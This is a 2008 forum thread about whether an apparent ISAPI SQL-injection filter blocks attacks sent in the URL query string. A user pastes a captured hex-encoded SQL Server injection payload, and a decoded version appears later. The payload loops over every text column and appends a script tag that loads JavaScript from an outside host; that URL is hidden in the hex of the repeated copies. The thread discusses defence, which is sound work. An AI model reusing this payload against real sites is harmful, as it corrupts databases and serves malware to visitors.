Does this also work for non form requests?

Jun 21, 2008 at 7:04 PM
Our server received a series of attacks yesterday but they were all submitted directly within the browser's address bar as a very long hex statement.  After configuring our server with the wildcard, it's not blocking those types of requests.  Should it be?

Thanks,
Dan
Coordinator
Jun 25, 2008 at 7:07 AM
Hi Dan,

It should block these attacks. Are you sure you've installed it in the right web application? If you send me the hex statement I can test it for you.

Thanks,

Rodney
Jun 25, 2008 at 5:26 PM
here's the hex statement:

ID=500&year=2002;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E70696E676164772E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--
Jun 25, 2008 at 11:02 PM
dstevens,

I have been testing against these kind of attacks also, and the filter works great! The filter replaces the ";" with a "," and that does the trick

The down side is, we can not put on our websites because of the uploading errors and I am not able to access servervariables.
I'm currently trying adapt our sites to work within the filter's restrictions.
Coordinator
Jun 26, 2008 at 10:59 PM

Hi dstevens,

 

This is the result from your "hex statement":

500&,year=2002,DECLARE%20@S%20VARCHAR(4000),SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E70696E676164772E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000)),EXEC(@S),--

An error will occur, but no SQL Injection. Double check your installation and review the install video to see if you missed something.

Thanks,

Rodney

Jun 27, 2008 at 5:10 AM
Rodney - you decoded this improperly.  This is definitely a SQL injection.  It decodes as follows (using hex to ascii converter):

500&,year=2002;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=REMOVED SO I COULD SAVE THIS DOCUMENT></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor AS VARCHAR(4000));EXEC(@S);
Coordinator
Jun 27, 2008 at 6:38 AM
dstevens,

What I am telling you is that I tested the string and the ISAPI transforms the input into: 500&,year=2002,DECLARE%20@S%20VARCHAR(4000),SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E70696E676164772E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000)),EXEC(@S),--

Which is harmeless and not a SQL Injection anymore. If you are not having the same results you should review your installation.

Thanks,

Rodney